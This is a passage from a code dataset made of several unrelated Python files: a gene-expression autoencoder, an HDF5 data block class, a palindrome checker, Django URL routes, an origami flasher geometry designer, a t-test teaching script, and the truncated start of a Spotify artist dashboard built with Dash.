str(seed)\t\n\t\t\t\t + \"_kl1:\" + str(kl1)\t\n\t\t\t\t + \"_kl2:\" + str(kl2) \t\n\t\t\t\t +  \"_act:\" + act \t\t\n\t\t\t\t + '_init:' + init \t\t\n\t\t\t\t + '_ep:' + str(epochs) \t\n\t\t\t\t + '_tied:' + str(tied)\t\n\t\t\t\t + '_batch:' + str(batch_size))\n\t\t\t\t\n\n\twrite_data(file_desc, weights, history)\n\n\tadage = ad.Adage(autoencoder, history, all_comp)\n\treturn adage\n\n\ndef unlinked_ae(encoding_dim, gene_num, act, init,seed, kl1, kl2):\n\tinput_img = Input(shape=(gene_num,))\n\tinit_s = keras.initializers.glorot_normal(seed=seed)\n\tencoded = Dense(encoding_dim, input_shape=(gene_num, ), \n\t\t\t\t\tactivation=act, #sigmoid\n\t\t\t\t\t#kernel_initializer = init_s,\n\t\t\t\t\tkernel_initializer = init,\n\t\t\t\t\tkernel_regularizer = regularizers.l1_l2(l1=kl1, l2=kl2),\n    \t\t\t\tactivity_regularizer = regularizers.l1(0))(input_img) \n\n\tdecoded = Dense(gene_num, activation='sigmoid',\n    \t\t\t\tactivity_regularizer = regularizers.l1(0))(encoded)\n\n\t# this model maps an input to its reconstruction\n\tautoencoder = Model(input_img, decoded)\n\treturn(autoencoder)\n\n\ndef linked_ae(encoding_dim, gene_num, act, init,seed, kl1, kl2):\n\tinput_img = Input(shape=(gene_num,))\n\tinit_s = keras.initializers.glorot_normal(seed=seed)\n\tencoded = Dense(encoding_dim, input_shape=(gene_num, ), activation=act, \n\t\t\t\t\t#kernel_initializer = init_s,\n\t\t\t\t\tkernel_initializer = init,\n\t\t\t\t\tkernel_regularizer = regularizers.l1_l2(l1=kl1, l2=kl2),\n    \t\t\t\tactivity_regularizer = regularizers.l1(0))\n\n\n\tdecoder = tw.TiedWeightsEncoder(input_shape=(encoding_dim,), \n\t\t\t\t\toutput_dim=gene_num,encoded=encoded, activation=None)\n\n\tautoencoder = Sequential()\n\tautoencoder.add(encoded)\n\tautoencoder.add(decoder)\n\treturn(autoencoder)\n\n\ndef prep_data(all_comp, seed):\n\tall_comp_np = all_comp.to_numpy()\n\t# this is the size of our input\n\tgene_num = np.size(all_comp_np, 0)\n\n\tx_train = all_comp_np.transpose()\n\tx_train = x_train.reshape((len(x_train), \n\t\t\t\t\t\t\t   np.prod(x_train.shape[1:])))\n\tnoise_factor = 0.1\n\tx_train_noisy = x_train + (noise_factor \n\t\t            * np.random.normal(loc=0.0,scale=1.0, size=x_train.shape)) \n\tx_train_noisy = np.clip(x_train_noisy, 0., 1.)\n\n\treturn(x_train, x_train_noisy)\n\ndef train_model(autoencoder, x_train, x_train_noisy, epochs, seed, batch_size):\n\n\tnp.random.seed(seed)\n\ttrain_idxs = np.random.choice(x_train.shape[0], \n\t\t\t\t\t\t\t      int(x_train.shape[0]*0.9), replace=False)\n\n\tx_train_train = x_train[train_idxs,:]\n\tx_train_test = x_train[~np.in1d(range(x_train.shape[0]),train_idxs),:]\n\n\tx_train_noise_train = x_train_noisy[train_idxs,:]\n\tx_train_noise_test = x_train_noisy[~np.in1d(range(x_train.shape[0]),\n\t\t                                              train_idxs),:]\n\n\n\toptim = optimizers.Adadelta() # lr=0.001, rho=0.95, epsilon=1e-07\n\toptim = optimizers.SGD() # lr=0.001, rho=0.95, epsilon=1e-07\n\tautoencoder.compile(optimizer=optim, loss='binary_crossentropy') # binary_crossentropy mse\n\n\thistory = autoencoder.fit(x_train_noise_train, x_train_train,\n\t              \tepochs=epochs,\n\t                batch_size=batch_size,\n\t                shuffle=True,\n\t                #validation_split = 0.1,          \n\t                verbose=1,\n\t                validation_data=(np.array(x_train_noise_test),\n\t                \t\t\t\t np.array(x_train_test)))\n\treturn(autoencoder, history)\n\n\ndef write_data(file_desc, weights, history):\n\t\"\"\"\n\tSave logs and output for a model in an outputs foolder\n\t\"\"\"\n\tnp.savetxt('./outputs/' + file_desc + '_en_weights.csv', \n\t\tnp.matrix(weights[0]), fmt = '%s', delimiter=',')\n\tnp.savetxt('./outputs/' + file_desc + '_en_bias', \n\t\tnp.matrix(weights[1]), fmt = '%s', delimiter=',')\n\tnp.savetxt('./outputs/' + file_desc + '_de_weights.csv', \n\t\tnp.matrix(weights[2]), fmt = '%s', delimiter=',')\n\tnp.savetxt('./outputs/' + file_desc + '_de_bias.csv', \n\t\tnp.matrix(weights[3]), fmt = '%s', delimiter=',')\n\tnp.savetxt('./outputs/' + file_desc + '_loss.csv', \n\t\tnp.matrix(history.history['loss']), fmt = '%s', delimiter=',')\n\tnp.savetxt('./outputs/' + file_desc + '_val_loss.csv', \n\t\tnp.matrix(history.history['val_loss']), fmt = '%s', delimiter=',')\n\n\nif __name__ == '__main__':\n\t\tparser = argparse.ArgumentParser(description='Get training set.')\n\t\tparser.add_argument('filename',type=str, nargs=1, \n\t\t\thelp='filpath to training set.')\n\t\targs=parser.parse_args()\n\t\trun_model(args.filename[0])\n\n\n","repo_name":"hoganlab-dartmouth/seqADAGE","sub_path":"Py/run_model.py","file_name":"run_model.py","file_ext":"py","file_size_in_byte":5823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40893372337","text":"import numpy as np\nimport h5py\n\n\nclass DataBlock:\n\n    \"\"\"\n    This is the building block to all large data manipulation, in and out of rendering.\n    A contiguous data array of heterogeneous type that can be dumped to an HDF5 file\n    \"\"\"\n\n    __slots__ = [\n        \"metadata\",\n        \"data\"]\n\n    def __init__(self, data: np.ndarray, metadata=None, copy_data=False):\n        self.metadata = {} if metadata is None else metadata\n        self.data = data.copy() if copy_data else data\n\n    def to_hdf5(self, hdf5_group: h5py.Group):\n        if self.data is None:\n            raise ValueError(\"DataBlock data has not been initialized\")\n\n        # Create a dataset within the provided HDF5 group\n        dataset = hdf5_group.create_dataset(self.data.dtype, data=self.data)\n\n        # Add metadata as attributes to the HDF5 dataset\n        for key, value in self.metadata.items():\n            dataset.attrs[key] = value\n\n    @classmethod\n    def from_hdf5(cls, hdf5_dataset: h5py.Dataset):\n        # Load data from the HDF5 dataset\n        data = hdf5_dataset[...]\n\n        # Load metadata from the HDF5 dataset attributes\n        metadata = {key: hdf5_dataset.attrs[key] for key in hdf5_dataset.attrs}\n\n        # Create a new DataBlock instance with the loaded data and metadata\n        return cls(data, metadata, copy_data=False)\n","repo_name":"robotaro/simple_3d_graphics_engine","sub_path":"src/core/data_block.py","file_name":"data_block.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74788225680","text":"def StripPunctuation(s):\n    answer=\"\"\n    for c in s:\n        if c.islower() or c.isupper():\n            answer=answer+c.lower()\n    return answer\ndef Reverse(s):\n    answer=\"\"\n    for c in s:\n        answer=c+answer\n    return answer\ndef IsPalindrome(s):\n    s=StripPunctuation(s)\n    if s==Reverse(s):\n        return True\n    else:\n        return False\ndef main():\n    F=open(\"file.txt\",\"r\")\n    for line in F:\n        word=line.strip(\"\\n\")\n    if IsPalindrome(word):\n        print (word)\n\nmain()","repo_name":"disha111/Python_Beginners","sub_path":"idea to code/second.py","file_name":"second.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38775425214","text":"from django.contrib import admin\nfrom django.urls import path, include, re_path\nfrom app import views\n\nfrom rest_framework import permissions\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\n\n\nschema_view = get_schema_view(\n   openapi.Info(\n      title=\"MySilant API\",\n      default_version='v1',\n      description=\"\",\n      contact=openapi.Contact(email=\"contact@snippets.local\"),\n      license=openapi.License(name=\"BSD License\"),\n   ),\n   public=True,\n   permission_classes=[permissions.AllowAny],\n)\n\nurlpatterns = [\n    re_path(r'^swagger(?P<format>\\.json|\\.yaml)$', schema_view.without_ui(cache_timeout=0), name='schema-json'),\n    re_path(r'^swagger/$', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger-ui'),\n    re_path(r'^redoc/$', schema_view.with_ui('redoc', cache_timeout=0), name='schema-redoc'),\n    path('user', views.user, name='user'),\n    path('users', views.users, name='users'),\n    path('users_adm/', views.users_admin, name='users_adm'),\n    path('users_adm/<int:pk>', views.UsersChange.as_view(), name='users_adm_change'),\n    path('login', views.log_in, name='login'),\n    path('logout', views.log_out, name='logout'),\n    path('machines/', views.MachineList.as_view(), name='machines'),\n    path('get_machine_id/', views.get_machine_id, name='get_machine_id'),\n    path('machines/<int:pk>', views.MachineDetail.as_view(), name='machine'),\n    path('to/', views.TechnicalServiceList.as_view(), name='tos'),\n    path('to/<int:pk>', views.TechnicalServiceDetail.as_view(), name='to'),\n    path('complaints/', views.ComplaintList.as_view(), name='complaints'),\n    path('complaints/<int:pk>', views.ComplaintDetail.as_view(), name='complaint'),\n    path('directory/', views.DirectoryList.as_view(), name='directories'),\n    path('directory/<int:pk>', views.DirectoryDetail.as_view(), name='directory'),\n]\n","repo_name":"sobago/mysilant","sub_path":"Backend/mysilant/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31632235121","text":"# DCOF (Deployable Curved Origami Flasher)\n# Author: Yinghao GAO\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection\nimport matplotlib.colors as ptColor\n\nfrom copy import deepcopy\nimport csv\n\nfrom function import *\n\n\nPI = np.pi\nINF = np.inf\nS3 = np.sqrt(3)\nS3_2 = S3 / 2\nDEG = 180 / PI\n\nclass DCOF:\n    '''\n    The base class for design of Deployable Curved-surface Origami Flashers (DCOF)\n    '''\n    # self.vertex\n    def __init__(self, R:float, A:float):\n        '''\n        Specify the radius R of the spherical surface  and the edge length A of the central hub.  \\\\\n        The method is not only capable of designing flashers on a spherical surface, but also can be exploited for flashers on other shapes by user-specified surface equation.\n        Parameters\n        ---\n        R : float\n            the radius of the spherical surface (m)\n        A : float\n            the edge length of the hub (m)\n        '''\n        self.__R = R\n        self.__A = A\n        self.hub = []\n        self.LValley = []\n        self.ridge = []\n        self.RValley = []\n\n    def getRadius(self):\n        return self.__R\n    \n    def setRadius(self, R:float):\n        self.__R = R\n    \n    def getLength(self):\n        return self.__A\n\n    def setLength(self, A):\n        self.__A = A\n\n    def computeZ(self, p:np.array)->np.array:\n        '''\n        Project a 2D vertex of plannar flashers onto the spherical surface.\n        Parameters\n        ---\n        p : np.array, 2 x 1 2D point\n            vertex of the plannar flasher\n        Return\n        ---\n        return 3D point on the spherical surface\n        '''\n        R = self.__R\n        x, y = p[0], p[1]\n        z = -np.sqrt(R*R - x*x - y*y)\n        return np.array([x, y, z])\n\n    def setSearchParameter(self, step:float, limit:float, angleTolerence:float, distanceTolerence:float):\n        '''\n        set searching parameters for the 3D brutal force search algorithm\n        Parameters\n        ---\n        step : float\n            the search step of the search algorithm. (m)\n        limit : float\n            The search region is a limit x limit x limit 3D space. This determines the size of the search region. (m)\n        angleTolerence : float\n            This is the slack of angular constraints. (rad)\n        distanceTolerence : float\n            This is the slack of edge length constraint. (m)\n        '''\n        self.step = step\n        self.limit = limit\n        self.angleTolerence = angleTolerence\n        self.distanceTolerence = distanceTolerence\n\n    def searchVertex(self):\n        '''\n        Compute a ridge vertex that satisfies both surface equation constraints and folding constraints, using numerical method.\n        Do 3D brutal force search in the neighborhood of initialGuess.\n        '''\n\n        # 3D brutal force search\n        cost = INF\n        limit = self.limit\n        step = self.step\n        angleTolerence, distanceTolerence = self.angleTolerence, self.distanceTolerence\n        A, R = self.__A, self.__R\n        TILT = angle(self.ridge[0], self.hub[0], self.RValley[0])\n\n        sol = np.zeros(3)\n\n        initialGuess, lastVertex = self.ridge[-1], self.ridge[-2]\n        LVVertex, last_LV = self.LValley[-1], self.LValley[-2]\n        RVVertex, last_RV = self.RValley[-1], self.RValley[-2]\n\n        for x in np.arange(-limit, limit, step):\n            for y in np.arange(-limit, limit, step):\n                for z in np.arange(-limit, limit, step):\n                    \n                    vertex = initialGuess + np.array([x, y, z])     # to be solved\n                # angular constraint 1\n                    gamma1 = angle(vertex, lastVertex, RVVertex)\n                    gamma2 = angle(vertex, lastVertex, LVVertex)\n                    delta1 = angle(RVVertex, lastVertex, last_RV)\n                    delta2 = angle(LVVertex, lastVertex, last_LV)\n                    constraint1 = abs(gamma1 + delta1 - gamma2 - delta2)\n\n                    if constraint1 * DEG > angleTolerence:\n                        continue\n                    else:\n                    # angular constraint 2\n                        theta1 = angle(lastVertex, vertex, RVVertex)\n                        theta2 = angle(lastVertex, vertex, LVVertex)\n                        constraint2 = abs(theta1 - theta2)\n                        \n                        if constraint2 * DEG > angleTolerence:\n                            continue\n                        else:\n                            # length constraint\n                            constraint3 = abs(norm(vertex - lastVertex) * np.cos(TILT) - A)\n                            if constraint3 > distanceTolerence:\n                                continue\n                            else:\n                            # points that get here satisfy the geometric constaints of folding\n                            # Find the point with smallest fitting error from these feasible solutions\n                                fitErr = abs(norm(vertex) - R)\n                                if fitErr < cost:\n                                    cost = fitErr\n                                    \n                                # if the fitting error is small enough, we consider the vertex is the solution\n                                    if cost < 0.001:\n                                        print(\"Found optimal solution:\", vertex)\n                                        return vertex\n                                # if none of the feasible solution satisfies the fitting error tolerance, return the one with smallest fitting error\n                                    sol = vertex\n        if cost is INF:\n            # print(\"Fail to find a solution, return the initial guess\")\n            # return None\n            raise ValueError(\"Fail to find a solution. Suggest tuning searching parameters\")\n\n        print(\"Found a solution: \", sol, \"Fitting error: \", cost)\n        return sol\n\n    def circularArray(self, angle:float):\n        '''\n        rotate-copy a sector of DCOF about Z-axis by angle. This is like the circular-array operation in CAD softwares.\n        Parameters\n        ---\n        angle : float\n            rotation angle (rad)\n        '''\n        self.hub = rotateZ(self.hub, angle)\n        self.LValley = rotateZ(self.LValley, angle)\n        self.RValley = rotateZ(self.RValley, angle)\n        self.ridge = rotateZ(self.ridge, angle)\n\n    def exportVertices(self, filename:str='vertices'):\n        '''\n        Export computed vertices into a csv file, which can be used to import 3D points into CAD softwares.\n        Parameters\n        ---\n        filename : str\n            Specify the name of the file that all vertices will be exported into (including path).  e.g.'../data/vertices'\n        '''\n        with open(filename + '.csv', mode='w', encoding='utf-8') as file:\n            csv_writer = csv.writer(file)\n            csv_writer.writerow(self.hub[0])\n            for p in self.LValley:\n                csv_writer.writerow(p)\n            for p in self.RValley:\n                csv_writer.writerow(p)\n            for p in self.ridge:\n                csv_writer.writerow(p)\n    \nclass TriangleDCOF(DCOF):\n    '''\n    Class for design of DCOF with regular triangle hub. Inherit from DCOF base class.\n    '''\n    def __init__(self, R:float, A:float):\n        DCOF.__init__(self, R, A)\n    \n    def computeHub(self):\n        A = self.getLength()\n        self.hub = np.array([\n            self.computeZ([0, A / S3]),\n            self.computeZ([A/2, -A/2/S3]),\n            self.computeZ([-A/2, -A/2/S3]),\n        ])\n\n    def getHubOrigin(self):\n        '''\n        The origin is located at the centroid of the hub\n        Return\n        ---\n        return the centroid of the hub.\n        '''\n        return (self.hub[0] + self.hub[1] + self.hub[2]) / 3\n\n    def computeLayer(self):\n        A = self.getLength()\n        layer = len(self.LValley) + 1\n\n        LValleyVertex = self.hub[0][:2] + np.array([A/2, S3 * A/2]) * layer\n        LValleyVertex = self.computeZ(LValleyVertex)\n        self.LValley.append(LValleyVertex)\n\n        RValleyVertex = self.hub[0][:2] + np.array([A/2, -S3*A/2]) * layer\n        RValleyVertex = self.computeZ(RValleyVertex)\n        self.RValley.append(RValleyVertex)\n\n        ridgeVertex = self.hub[0][:2] + np.array([2*A ,0]) * layer\n        ridgeVertex = self.computeZ(ridgeVertex)    # initial guess\n        self.ridge.append(ridgeVertex)\n        if len(self.LValley) > 1:\n            # The projected ridge vertex of the first layer yields little error, so there is no need to do search on the first layer\n            self.ridge[-1] = self.searchVertex()\n        print(\"Layer NO.\", len(self.ridge), \"is generated.\")\n\nclass SquareDCOF(DCOF):\n    '''\n    Class for design of DCOF with square hub. Inherit from DCOF base class.\n    '''\n    def __init__(self, R:float, A:float):\n        DCOF.__init__(self, R, A)\n    \n    def computeHub(self):\n        A = self.getLength()\n        self.hub = np.array([\n            self.computeZ([-A/2, A/2]),\n            self.computeZ([A/2, A/2]),\n            self.computeZ([A/2, -A/2]),\n            self.computeZ([-A/2, -A/2])\n        ])\n\n    def getHubOrigin(self):\n        return (self.hub[0] + self.hub[1] + self.hub[2] + self.hub[3]) / 4\n\n    def computeLayer(self):\n        A = self.getLength()\n        layer = len(self.LValley) + 1\n\n        LValleyVertex = self.hub[0][:2] + np.array([0, A]) * layer\n        LValleyVertex = self.computeZ(LValleyVertex)\n        self.LValley.append(LValleyVertex)\n\n        RValleyVertex = self.hub[0][:2] + np.array([A, 0]) * layer\n        RValleyVertex = self.computeZ(RValleyVertex)\n        self.RValley.append(RValleyVertex)\n\n        ridgeVertex = self.hub[0][:2] + np.array([A, A]) * layer\n        ridgeVertex = self.computeZ(ridgeVertex)    # initial guess\n        self.ridge.append(ridgeVertex)\n        if len(self.LValley) > 1:\n            # The projected ridge vertex of the first layer yields little error, so there is no need to do search on the first layer\n            self.ridge[-1] = self.searchVertex()\n        print(\"Layer NO.\", len(self.ridge), \"is generated.\")\n\nclass HexagonDCOF(DCOF):\n    '''\n    Class for design of DCOF with regular hexagon hub. Inherit from DCOF base class.\n    '''\n    def __init__(self, R:float, A:float):\n        DCOF.__init__(self, R, A)\n\n    def computeHub(self):\n        A = self.getLength()\n        self.hub = np.array([\n                    self.computeZ([-A * S3_2, A / 2]),\n                    self.computeZ([0,  A]),\n                    self.computeZ([A * S3_2,  A / 2]),\n                    self.computeZ([A * S3_2, -A / 2]),\n                    self.computeZ([0, -A]),\n                    self.computeZ([-A * S3_2, -A / 2])\n                    ])\n    \n    def getHubOrigin(self):\n        return (self.hub[0] + self.hub[3]) / 2\n\n    def computeLayer(self):\n        '''\n        Compute a layer of a sector of the plannar flasher\n        Parameters\n        '''\n        A = self.getLength()\n        layer = len(self.LValley) + 1\n        LValleyVertex = self.hub[0][:2] + np.array([0, A]) * layer\n        LValleyVertex = self.computeZ(LValleyVertex)\n        self.LValley.append(LValleyVertex)\n\n        RValleyVertex = self.hub[0][:2] + np.array([A * S3_2, A/2]) * layer\n        RValleyVertex = self.computeZ(RValleyVertex)\n        self.RValley.append(RValleyVertex)\n\n        ridgeVertex = self.hub[0][:2] + np.array([A / S3, A]) * layer\n        ridgeVertex = self.computeZ(ridgeVertex)    # initial guess\n        self.ridge.append(ridgeVertex)\n        if len(self.LValley) > 1:\n            # The projected ridge vertex of the first layer yields little error, so there is no need to do search on the first layer\n            self.ridge[-1] = self.searchVertex()\n        print(\"Layer NO.\", len(self.ridge), \"is generated.\")\n\n \n        \n\n\n\nclass OctagonDCOF(DCOF):\n    '''\n    Class for design of DCOF with regular octagon hub. Inherit from DCOF base class.\n    '''\n    def __init__(self, R:float, A:float):\n        DCOF.__init__(self, R, A)\n    \n    def computeHub(self):\n        A = self.getLength()\n        T8 = np.tan(PI/8)\n        self.hub = np.array([\n                    self.computeZ([-A/2/T8, A / 2]),\n                    self.computeZ([-A/2,  A/2/T8]),\n                    self.computeZ([A/2,  A/2/T8]),\n                    self.computeZ([A/2/T8, A / 2]),\n                    self.computeZ([A/2/T8, -A / 2]),\n                    self.computeZ([A/2,  -A/2/T8]),\n                    self.computeZ([-A/2,  -A/2/T8]),\n                    self.computeZ([-A/2/T8, -A / 2]),\n                    ])\n\n    def getHubOrigin(self):\n        return (self.hub[0] + self.hub[4]) / 2\n\n    def computeLayer(self):\n        A = self.getLength()\n        layer = len(self.LValley) + 1\n\n        LValleyVertex = self.hub[0][:2] + np.array([0, A]) * layer\n        LValleyVertex = self.computeZ(LValleyVertex)\n        self.LValley.append(LValleyVertex)\n\n        S2 = np.sqrt(2)\n        RValleyVertex = self.hub[0][:2] + np.array([A/S2, A/S2]) * layer\n        RValleyVertex = self.computeZ(RValleyVertex)\n        self.RValley.append(RValleyVertex)\n\n        T3_8 = np.tan(3*PI/8)\n        ridgeVertex = self.hub[0][:2] + np.array([A/T3_8, A]) * layer\n        ridgeVertex = self.computeZ(ridgeVertex)    # initial guess\n        self.ridge.append(ridgeVertex)\n        if len(self.LValley) > 1:\n            # The projected ridge vertex of the first layer yields little error, so there is no need to do search on the first layer\n            self.ridge[-1] = self.searchVertex()\n        print(\"Layer NO.\", len(self.ridge), \"is generated.\")\n\n\n\nclass Visual:\n\n    def __init__(self, fig:plt.figure):\n        self.ax = Axes3D(fig)\n    \n    def drawSphere(self, dcof:DCOF):\n        R = dcof.getRadius()\n        xgrid = np.arange(-5, 6, 0.5)\n        ygrid = np.arange(-5, 6, 0.5)\n        x, y = np.meshgrid(xgrid, ygrid)\n        z = -np.real(np.sqrt(R*R - x*x - y*y))\n        # self.ax.plot_wireframe(x, y, z, color='lightcoral')\n        self.ax.contour3D(x, y, z, 80, cmap='binary')\n        self.ax.set_xlabel(\"X (m)\")\n        self.ax.set_ylabel(\"Y (m)\")\n        self.ax.set_zlabel(\"Z (m)\")\n\n    \n    def drawHub(self, dcof:DCOF, origin:np.array):\n\n        color = ptColor.rgb2hex(np.random.rand(3))\n        hub = dcof.hub\n        for i in range(-1, len(hub)-1):\n            tri = Poly3DCollection([hub[i], hub[i+1], origin], facecolor=color)\n            self.ax.add_collection3d(tri)\n\n\n    def drawTriangle(self, p1, p2, p3, color):\n        triangle = Poly3DCollection([p1, p2, p3])\n        triangle.set_color(color)\n        triangle.set_edgecolor('k')\n        self.ax.add_collection3d(triangle)\n    \n    def drawLayer(self, dcof:DCOF, layer:int):\n        color = ptColor.rgb2hex(np.random.rand(3))\n        ridge = dcof.ridge\n        LV, RV = dcof.LValley, dcof.RValley\n        if layer is 1:\n            origin = dcof.hub[0]\n            self.drawTriangle(ridge[0], RV[0], origin, color)\n            self.drawTriangle(ridge[0], LV[0], origin, color)\n        else:\n            current = layer-1  # 2nd layer corresponds to ridge[1]\n            last = layer - 2\n            self.drawTriangle(ridge[current], RV[current], ridge[last], color)  # upper right facet\n            self.drawTriangle(ridge[last], RV[current], RV[last], color)    # lower right facet\n            self.drawTriangle(ridge[current], LV[current], ridge[last], color)      \n            self.drawTriangle(LV[current], LV[last], ridge[last], color)\n\n    def centroSymmetry(self, dcof:DCOF):\n\n        if isinstance(dcof, TriangleDCOF):\n            self.rotation = -2*PI/3\n            for i in range(1,3):\n                dcof2 = deepcopy(dcof)\n                dcof2.circularArray(self.rotation * i)\n                for layer in range(len(dcof2.LValley)):\n                    self.drawLayer(dcof2, layer+1)\n\n        if isinstance(dcof, SquareDCOF):\n            self.rotation = -PI/2\n            for i in range(1,4):\n                dcof2 = deepcopy(dcof)\n                dcof2.circularArray(self.rotation * i)\n                for layer in range(len(dcof2.LValley)):\n                    self.drawLayer(dcof2, layer+1)\n\n        if isinstance(dcof, HexagonDCOF):\n            self.rotation = -PI / 3\n            for i in range(1,6):\n                dcof2 = deepcopy(dcof)\n                dcof2.circularArray(self.rotation * i)\n                for layer in range(len(dcof2.LValley)):\n                    self.drawLayer(dcof2, layer+1)\n\n        if isinstance(dcof, OctagonDCOF):\n            self.rotation = -PI / 4\n            for i in range(1,8):\n                dcof2 = deepcopy(dcof)\n                dcof2.circularArray(self.rotation * i)\n                for layer in range(len(dcof2.LValley)):\n                    self.drawLayer(dcof2, layer+1)","repo_name":"gywhitel/Deployable-Curved-Origami","sub_path":"scripts/DCOF.py","file_name":"DCOF.py","file_ext":"py","file_size_in_byte":16863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"1029810659","text":"# Hypothesis testing using Frequentist methods: a drug efficacy experiment\n\nimport numpy as np\nimport scipy.stats as stats\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nsns.set_style('whitegrid')\n\ncontrol = np.array([166, 165, 120,  94, 104, 166,  98,  85,  97,  87, 114, 100, 152,\n                    87, 152, 102,  82,  80,  84, 109,  98, 154, 135, 164, 137, 128,\n                    122, 146,  86, 146,  85, 101, 109, 105, 163, 136, 142, 144, 140,\n                    128, 126, 119, 121, 126, 169,  87,  97, 167,  89, 155])\n\nexperimental = np.array([ 83, 100, 123,  75, 130,  77,  78,  87, 116, 116, 141,  93, 107,\n                         101, 142, 152, 130, 123, 122, 154, 119, 149, 106, 107, 108, 151,\n                         97,  95, 104, 141,  80, 110, 136, 134, 142, 135, 111,  83,  86,\n                         116,  86, 117,  87, 143, 104, 107,  86,  88, 124,  76])\n\n\n# Calculate sample mean\ndef get_mean_diff(ctrl_sample, exp_sample):\n    mean_ctrl = np.mean(ctrl_sample)\n    mean_exp = np.mean(exp_sample)\n    print('Mean of control group \\n', mean_ctrl)\n    print('Mean of exp group \\n', mean_exp)\n    mean_diff = mean_exp - mean_ctrl\n    print('Mean Difference between groups: \\n', mean_diff)\n\nget_mean_diff(control, experimental)\n\n\n# Calculate t-statistic - quantify the difference between groups\ndef get_tstats(ctrl_sample, exp_sample):\n    t_stat = stats.ttest_ind(exp_sample, ctrl_sample)\n    print('t-statistics( is:\\n', t_stat)\n    return(t_stat)\n\n\ndef plot_tdist(t_stat_value):\n    xpoints = np.linspace(-4, 4, 1000)\n    ypoints = stats.t.pdf(xpoints, (50+50+2), 0, 1)\n    fig = plt.figure(figsize=(8,5))\n    ax = fig.gca()\n    ax.plot(xpoints, ypoints, linewidth = 3, color = 'darkred')\n    ax.axvline(t_stat_value[0], color='black', linestyle='--', lw=5)\n    plt.show()\n\nt_stat = get_tstats(control, experimental)\nplot_tdist(t_stat)\n\nlower_tail = stats.t.cdf(-1.89, (50+50-2), 0, 1)\nupper_tail = 1. - stats.t.cdf(1.89, (50+50-2), 0, 1)\np_value = lower_tail+upper_tail\nprint('p-value\\n',p_value)\n\n\n# Generate your random number group\ndef generate_group(mean, std, n):\n    return np.random.normal(mean, std, size=n)\n\n\ndef plot_sns(group1, group2):\n    fig = plt.figure(figsize=(10, 5))\n    # get the current axis out of the figure\n    ax = fig.gca()\n    # create a distribution plot with seaborn's distplot, passing in the axis and also returning it:\n    # first plot group 1:\n    ax = sns.distplot(g1, bins=20, color='steelblue', ax=ax)\n    # create another distribution on the same axis for group 2:\n    sns.distplot(g2, bins=20, color='darkred', ax=ax)\n    plt.show()\n\n\ng1 = generate_group(100, 5, 50)\ng2 = generate_group(110, 5, 50)\nplot_sns(g1, g2)\n# calculate the p-value\nprint(stats.ttest_ind(g1, g2))\n\ng1 = generate_group(100, 50, 50)\ng2 = generate_group(110, 50, 50)","repo_name":"roshanlulu/pyJournals","sub_path":"pyCode/ga_3_3_1.py","file_name":"ga_3_3_1.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34629282644","text":"import dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nfrom dash.dependencies import Input, Output, ClientsideFunction\r\nimport plotly.express as px\r\nimport numpy as np\r\nimport pandas as pd\r\n#import datetime\r\n#from datetime import datetime as dt\r\n#import pathlib\r\n#import matplotlib.pyplot as plt\r\n#import seaborn as sns\r\nimport dash_table\r\n\r\ndf1 = pd.read_csv('data/cleaned_artists.csv')\r\ndf2 = pd.read_csv('data/cleaned_tracks.csv')\r\n\r\ngenre_list = df1.new_genre.unique()\r\nartist_list = df1.name.unique()\r\nyear_list = df2.sort_values('year', ascending=False).year.unique()\r\n\r\ndef description_card():\r\n    \"\"\"\r\n    :return: A Div containing dashboard title & descriptions.\r\n    \"\"\"\r\n    return html.Div(\r\n        id=\"description-card\",\r\n        children=[\r\n            html.H5(\"Top 50 Artists and Their Top Tracks\"),\r\n            html.H3(\"Welcome to the Music Analytics Dashboard\"),\r\n            html.Div(\r\n                id=\"intro\",\r\n                children=\"The dashboard summarizes the information of Spotify's top 50 most streamed artists of 2020 globally and their top tracks. By selecting the music genre you like, you can find the most popular artists in that genre and the top 10 popular track list. You can customize the list by adding or removing artists and selecting different music release years.\",\r\n            ),\r\n        ],\r\n    )\r\n\r\nfig  = px.bar(df1[df1.new_genre == genre_list[0]][['name','followers','popularity']].drop_duplicates().sort_values('followers', ascending=False), x = 'name', y = 'followers', color = 'popularity' )\r\nfig.update_layout(\r\n    xaxis_title=\"Artist\",\r\n    yaxis_title=\"Artist Follower\",\r\n    font=dict(size=12),\r\n    xaxis_tickangle=-45\r\n)\r\nfig.show()\r\n\r\ndef generate_barplot(df1):  \r\n    fig  = px.bar(df1[['name','followers','popularity']].drop_duplicates().sort_values('followers', ascending=False), x = 'name', y = 'followers', color = 'popularity', title=\"Artist Followers & Popularity\", \r\n                  labels={'artist_follower':'Artist Follower', 'name': 'Artist'})\r\n    fig.update_layout(\r\n        xaxis_title=\"Artist\",\r\n        yaxis_title=\"Artist Follower\",\r\n        font=dict(size=12)\r\n    )\r\n    fig.show()\r\n    return fig\r\n\r\ntb = df2.loc[df2.artists_name.isin(df1[df1.new_genre == df1.new_genre[0]].name)].sort_values('popularity', ascending = False)[['name', 'artists_name','external_urls','popularity','album_name','year']].drop_duplicates(subset=['name']).head(20)\r\n\r\ndata_columns = ['Track Name', 'Artist', 'URL', 'Popularity', 'Album', 'Year']\r\ndf_columns = ['name', 'artists_name', 'external_urls', 'popularity', 'album_name', 'year']\r\n\r\napp = dash.Dash(__name__)\r\n\r\n\r\napp.layout = html.Div(\r\n    id=\"app-container\",\r\n    children=[\r\n        # Banner\r\n        html.Div(\r\n            id=\"banner\",\r\n            